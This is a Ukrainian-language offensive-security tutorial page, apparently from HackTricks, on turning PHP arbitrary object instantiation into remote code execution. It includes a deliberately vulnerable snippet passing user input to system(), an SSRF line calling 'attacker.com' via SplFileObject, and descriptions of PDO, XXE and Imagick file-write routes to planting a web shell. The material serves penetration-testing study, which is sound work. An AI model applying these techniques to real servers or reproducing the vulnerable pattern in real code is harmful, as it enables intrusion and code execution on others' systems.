PHP - RCE зловживання створенням об'єктів: new $_GET["a"]($_GET["b"])

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Це, по суті, резюме https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Вступ

Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"]), може призвести до віддаленого виконання коду (RCE), як детально описано в writeup. Цей документ підкреслює різні стратегії для досягнення RCE.

RCE через користувацькі класи або автозавантаження

Синтаксис new $a($b) використовується для створення об'єкта, де $a представляє ім'я класу, а $b є першим аргументом, переданим конструктору. Ці змінні можуть бути отримані з введення користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть представлятися як інші типи.

Розгляньте фрагмент коду нижче:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

У цьому випадку, встановлення $a на App або App2 і $b на системну команду (наприклад, uname -a) призводить до виконання цієї команди.

Функції автозавантаження можуть бути використані, якщо такі класи не є безпосередньо доступними. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register або __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Поведение автозавантаження варіюється в залежності від версій PHP, пропонуючи різні можливості RCE.

RCE через вбудовані класи

Відсутність користувацьких класів або автозавантажувачів, вбудовані класи PHP можуть бути достатніми для RCE. Кількість цих класів коливається від 100 до 200, залежно від версії PHP та розширень. Їх можна перерахувати за допомогою get_declared_classes().

Конструктори, що представляють інтерес, можна ідентифікувати через API рефлексії, як показано в наступному прикладі та за посиланням https://3v4l.org/2JEGF.

RCE через специфічні методи включає:

SSRF + Phar десеріалізація

Клас SplFileObject дозволяє SSRF через свій конструктор, що дозволяє підключення до будь-якого URL:

php
new SplFileObject('http://attacker.com/');

SSRF може призвести до атак десеріалізації в версіях PHP до 8.0, використовуючи протокол Phar.

Використання PDO

Конструктор класу PDO дозволяє підключення до баз даних через рядки DSN, що потенційно дозволяє створення файлів або інші взаємодії:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Версії PHP до 5.3.22 та 5.4.12 були вразливими до атак XXE через конструктори SoapClient та SimpleXMLElement, залежно від версії libxml2.

RCE через розширення Imagick

В аналізі залежностей проєкту було виявлено, що Imagick може бути використаний для виконання команд шляхом створення нових об'єктів. Це створює можливість для експлуатації вразливостей.

VID парсер

Було виявлено, що можливість VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у каталозі, доступному через веб, що досягає віддаленого виконання коду (RCE).

VID Parser + Завантаження файлів

Зазначено, що PHP тимчасово зберігає завантажені файли в /tmp/phpXXXXXX. VID парсер в Imagick, використовуючи msl протокол, може обробляти шаблони в шляхах файлів, що полегшує передачу тимчасового файлу до вибраного місця. Цей метод пропонує додатковий підхід для досягнення довільного запису файлів у файловій системі.

PHP Збій + Брутфорс

Метод, описаний у оригінальному звіті, передбачає завантаження файлів, які викликають збій сервера перед видаленням. За допомогою брутфорсу імені тимчасового файлу, стає можливим для Imagick виконати довільний PHP код. Однак цей метод виявився ефективним лише в застарілій версії ImageMagick.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks